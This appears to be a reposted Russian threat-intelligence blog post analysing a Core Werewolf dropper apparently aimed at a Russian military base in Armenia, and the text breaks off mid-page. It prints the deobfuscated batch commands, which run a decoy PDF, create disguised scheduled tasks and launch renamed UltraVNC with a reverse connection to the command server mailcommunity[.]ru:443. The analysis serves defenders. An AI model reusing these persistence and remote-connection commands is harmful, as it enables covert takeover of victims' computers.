{"id":373805,"date":"2024-05-21T05:44:44","date_gmt":"2024-05-21T05:44:44","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=373805"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=373805","title":{"rendered":"<span>\u041a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u044b \u0438\u0437 Core Werewolf \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0443\u044e \u0432\u043e\u0435\u043d\u043d\u0443\u044e \u0431\u0430\u0437\u0443 \u0432 \u0410\u0440\u043c\u0435\u043d\u0438\u0438<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e10\/94d\/2ea\/e1094d2ea21e1dfda18b112ef418abf9.png\" width=\"1440\" height=\"720\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e10\/94d\/2ea\/e1094d2ea21e1dfda18b112ef418abf9.png\"\/><\/figure>\n<p>\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Threat Intelligence \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T.  \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 <strong>VirusTotal<\/strong> \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0438\u0437 \u0410\u0440\u043c\u0435\u043d\u0438\u0438 (\u0433. \u0413\u044e\u043c\u0440\u0438) \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u043e\u0432 <strong>Core Werewolf<\/strong>. \u041e\u043d \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0430\u0440\u0445\u0438\u0432 7zSFX, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 &#8212; <strong>UltraVNC<\/strong>. <\/p>\n<p>\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0430\u0442\u0430\u043a\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f 102-\u044f \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0430\u044f \u0432\u043e\u0435\u043d\u043d\u0430\u044f \u0431\u0430\u0437\u0430. \u041d\u0430 \u044d\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u043a\u0442\u044b:<\/p>\n<ul>\n<li>\n<p>\u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0445\u043e\u0434\u0430\u0442\u0430\u0439\u0441\u0442\u0432\u043e \u043e \u044f\u043a\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043a \u0433\u043e\u0441\u043d\u0430\u0433\u0440\u0430\u0434\u0430\u043c, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 &#171;\u041e\u0440\u0434\u0435\u043d\u0443 \u041c\u0443\u0436\u0435\u0441\u0442\u0432\u0430&#187;  \u0432\u043e\u0435\u043d\u043d\u043e\u0441\u043b\u0443\u0436\u0430\u0449\u0438\u0445, \u043e\u0442\u043b\u0438\u0447\u0438\u0432\u0448\u0438\u0445\u0441\u044f \u0432 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0421\u0412\u041e;<\/p>\n<\/li>\n<li>\n<p>\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0431\u044b\u043b \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043d\u0430 VirusTotal \u0438\u0437 \u0433. \u0413\u044e\u043c\u0440\u0438 (\u0410\u0440\u043c\u0435\u043d\u0438\u044f), \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0434\u0438\u0441\u043b\u043e\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f 102-\u0430\u044f \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0430\u044f \u0432\u043e\u0435\u043d\u043d\u0430\u044f \u0431\u0430\u0437\u0430.<\/p>\n<\/li>\n<\/ul>\n<blockquote>\n<p><strong>Core Werewolf<\/strong> (PseudoGamaredon) \u2014 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043e\u0431\u043e\u0440\u043e\u043d\u043d\u043e-\u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043e\u043c, \u043e\u0431\u044a\u0435\u043a\u0442\u044b  \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439  \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. \u0412\u043f\u0435\u0440\u0432\u044b\u0435 \u0431\u044b\u043b\u0438 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u044b \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2021 \u0433\u043e\u0434\u0430. \u0412 \u043c\u0430\u0440\u0442\u0435 2024 \u0433. Core Werewolf \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0439 \u041d\u0418\u0418, \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0432\u043e\u043e\u0440\u0443\u0436\u0435\u043d\u0438\u044f. \u0410 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0430\u043f\u0440\u0435\u043b\u044f \u2014  \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0439 \u043e\u0431\u043e\u0440\u043e\u043d\u043d\u044b\u0439 \u0437\u0430\u0432\u043e\u0434. \u0412 \u0441\u0432\u043e\u0438\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445 \u0433\u0440\u0443\u043f\u043f\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435 <strong>UltraVNC<\/strong>.<\/p>\n<\/blockquote>\n<p>\u0412\u0441\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u2014 \u0432 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0431\u043b\u043e\u0433\u0435 <strong>\u0414\u043c\u0438\u0442\u0440\u0438\u044f \u041a\u0443\u043f\u0438\u043d\u0430<\/strong>, \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u0442\u0434\u0435\u043b\u0430 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u0435\u043f\u0430\u0440\u0442\u0430\u043c\u0435\u043d\u0442\u0430 Threat Intelligence \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T.<\/p>\n<h3>\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438<\/h3>\n<h4>7zSFX-\u0430\u0440\u0445\u0438\u0432<\/h4>\n<p>\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b 7ZSfxMod_x86.exe \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0430 PE32 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0430\u0440\u0445\u0438\u0432 7zSFX. \u0414\u0430\u043d\u043d\u044b\u0439 7zSFX-\u0430\u0440\u0445\u0438\u0432 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 %TEMP% \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e Batch-\u0444\u0430\u0439\u043b\u0430 5951402583331559.cmd. <\/p>\n<p>\u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0441\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044e\u0449\u0435\u0433\u043e\u0441\u044f \u0430\u0440\u0445\u0438\u0432\u0430 7ZSfxMod_x86.exe \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b:<\/p>\n<p>cmd.exe \/c ren 5951402583331559 5951402583331559.cmd<\/p>\n<p>cmd.exe \/c copy \/y &#171;%CD%<em>.<\/em>&#187; &#171;%CD%..&#187;<\/p>\n<p>cmd.exe \/c cd %USERPROFILE%\\AppData\\Local\\Temp &amp; 5951402583331559.cmd<\/p>\n<p>\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0430:<\/p>\n<ul>\n<li>\n<p>5951402583331559 &#8212; \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 Batch-\u0444\u0430\u0439\u043b<\/p>\n<\/li>\n<li>\n<p>dl02W62Y82w52l62d0.nq42X02g82l12L22i7 &#8212; \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b UltraVNC (UltraVNC.ini)<\/p>\n<\/li>\n<li>\n<p>Px69S29l29t79I69v3.ei89I49K79k99b89f2 &#8212; \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 PDF (perevod.pdf)<\/p>\n<\/li>\n<li>\n<p>TX24Y94E94D44c14G1.pZ49A49n99p49Q79c0 &#8212; \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b UltraVNC (OneDrives.exe)<\/p>\n<\/li>\n<\/ul>\n<p>\u0421\u0443\u0434\u044f \u043f\u043e \u0434\u0430\u0442\u0435 \u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445\u0441\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0435, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0433\u043b\u0430 \u043d\u0430\u0447\u0430\u0442\u044c\u0441\u044f \u0440\u0430\u043d\u044c\u0448\u0435 15 \u0430\u043f\u0440\u0435\u043b\u044f 2024 \u0433.. <\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b22\/2bf\/ed0\/b222bfed0791739c8e94aacaf43ce0b0.PNG\" alt=\"\u0414\u0430\u0442\u0430 \u0438 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0430 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 %TEMP%\" title=\"\u0414\u0430\u0442\u0430 \u0438 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0430 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 %TEMP%\" width=\"483\" height=\"157\"\/><\/p>\n<div><figcaption>\u0414\u0430\u0442\u0430 \u0438 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0430 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 %TEMP%<\/figcaption><\/div>\n<\/figure>\n<p>\u0424\u0430\u0439\u043b 7ZSfxMod_x86.exe \u0431\u044b\u043b \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043d\u0430 VirusTotal 2024-04-15 16:17:23 UTC \u0438\u0437 \u0410\u0440\u043c\u0435\u043d\u0438\u0438 (\u0433. \u0413\u044e\u043c\u0440\u0438) \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 (f7a179f4 &#8212; web). <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8b6\/b9d\/12f\/8b6b9d12fc9a2a6cb168b6e03046102b.png\" alt=\"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0430 \u043d\u0430 VirusTotal \" title=\"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0430 \u043d\u0430 VirusTotal \" width=\"1307\" height=\"559\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/8b6\/b9d\/12f\/8b6b9d12fc9a2a6cb168b6e03046102b.png\"\/><\/p>\n<div><figcaption>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0442\u0435\u043b\u0435\u043c\u0435\u0442\u0440\u0438\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0433\u043e 7zSFX-\u0430\u0440\u0445\u0438\u0432\u0430 \u043d\u0430 VirusTotal <\/figcaption><\/div>\n<\/figure>\n<h4>Batch-\u0444\u0430\u0439\u043b<\/h4>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/800\/a11\/1f0\/800a111f05a1923ab82eafd836bc11ee.png\" alt=\"\u0414\u0435\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 Batch-\u0444\u0430\u0439\u043b\u0430 \" title=\"\u0414\u0435\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 Batch-\u0444\u0430\u0439\u043b\u0430 \" width=\"1366\" height=\"613\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/800\/a11\/1f0\/800a111f05a1923ab82eafd836bc11ee.png\"\/><\/p>\n<div><figcaption>\u0414\u0435\u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 Batch-\u0444\u0430\u0439\u043b\u0430 <\/figcaption><\/div>\n<\/figure>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Batch-\u0444\u0430\u0439\u043b\u0430 5951402583331559.cmd:<\/p>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043f\u0438\u0438 PDF-\u0444\u0430\u0439\u043b\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438: <\/p>\n<p><code>copy \"Px69S29l29t79I69v3.ei89I49K79k99b89f2\" \"perevod.pdf\"<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u041e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0438 \u0434\u043b\u044f \u043e\u0442\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0436\u0435\u0440\u0442\u0432\u044b: <\/p>\n<p><code>start \"\" \"%CD%\\perevod.pdf\"<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0435 \u0437\u0430\u0434\u0430\u0447 Windows \u0434\u043b\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 OneDrives.exe:<\/p>\n<p><code>schtasks \/create \/f \/tn \"OneDrive Standalone Task-S-2-7-11-9087201647-12801647-72314017-012\" \/tr \"taskkill \/f \/im OneDrives.exe\" \/sc daily \/st 09:11<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043f\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 UltraVNC: <br \/> <code>copy \"TX24Y94E94D44c14G1.pZ49A49n99p49Q79c0\" \"OneDrives.exe\"<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u041f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 OneDrives.exe: <\/p>\n<p><code>taskkill \/im OneDrives.exe \/f<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0435 \u0437\u0430\u0434\u0430\u0447 Windows \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 OneDrives.exe: <\/p>\n<p><code>schtasks \/create \/f \/tn \"OneDrive Standalone Task-S-2-7-11-83520748-3029574812-2078745392-102\" \/tr \"%HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe\" \/sc daily \/st 09:12 <\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043f\u0438\u0438 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 UltraVNC:<\/p>\n<p> <code>copy \"dl02W62Y82w52l62d0.nq42X02g82l12L22i7\" \"UltraVNC.ini\"<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a \u0444\u0430\u0439\u043b\u0430 OneDrives.exe:<\/p>\n<p><code>start \"\" %HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432 \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0435 \u0437\u0430\u0434\u0430\u0447 Windows \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 OneDrives.exe \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 mailcommunity[.]ru:443:<\/p>\n<p><code>schtasks \/create \/f \/tn \"OneDrive Standalone Update Task-S-2-7-11-99120212-424201842-3485024-093\" \/tr \"%HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe -autoreconnect -id:%COMPUTERNAME%_%RANDOM% -connect mailcommunity[.]ru:443\" \/sc daily \/st 09:13<\/code><\/p>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a \u0444\u0430\u0439\u043b\u0430 OneDrives.exe \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 mailcommunity[.]ru:443: <\/p>\n<p><code>start \"\" %HOMEDRIVE%%HOMEPATH%\\AppData\\Local\\Temp\\OneDrives.exe -autoreconnect -id:%COMPUTERNAME%_%RANDOM% -connect mailcommunity[.]ru:443<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u0418\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b OneDrives.exe (TX24Y94E94D44c14G1.pZ49A49n99p49Q79c0) \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 UltraVNC \u0432\u0435\u0440\u0441\u0438\u0438 1.2.0.5.<\/p>\n<h4>\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430<\/h4>\n<p>\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430 perevod.pdf \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0445\u043e\u0434\u0430\u0442\u0430\u0439\u0441\u0442\u0432\u043e, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0435 \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u043e\u0435\u043d\u043d\u043e\u0441\u043b\u0443\u0436\u0430\u0449\u0438\u0445,  \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043a \u0433\u043e\u0441\u043d\u0430\u0433\u0440\u0430\u0434\u0430\u043c, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u2014  &#171;\u041e\u0440\u0434\u0435\u043d\u0443 \u041c\u0443\u0436\u0435\u0441\u0442\u0432\u0430&#187; \u2014 \u0437\u0430 \u043e\u0442\u043b\u0438\u0447\u043d\u0443\u044e \u0441\u043b\u0443\u0436\u0431\u0443 \u0432 \u0445\u043e\u0434\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0421\u0412\u041e, \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435\u043c \u0438\u0445 \u0437\u0432\u0430\u043d\u0438\u044f, \u0424\u0418\u041e \u0438 \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043d\u043e\u043c\u0435\u0440\u0430.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/0bc\/e02\/4d5\/0bce024d57dafee474c54cdc3fc08768.png\" 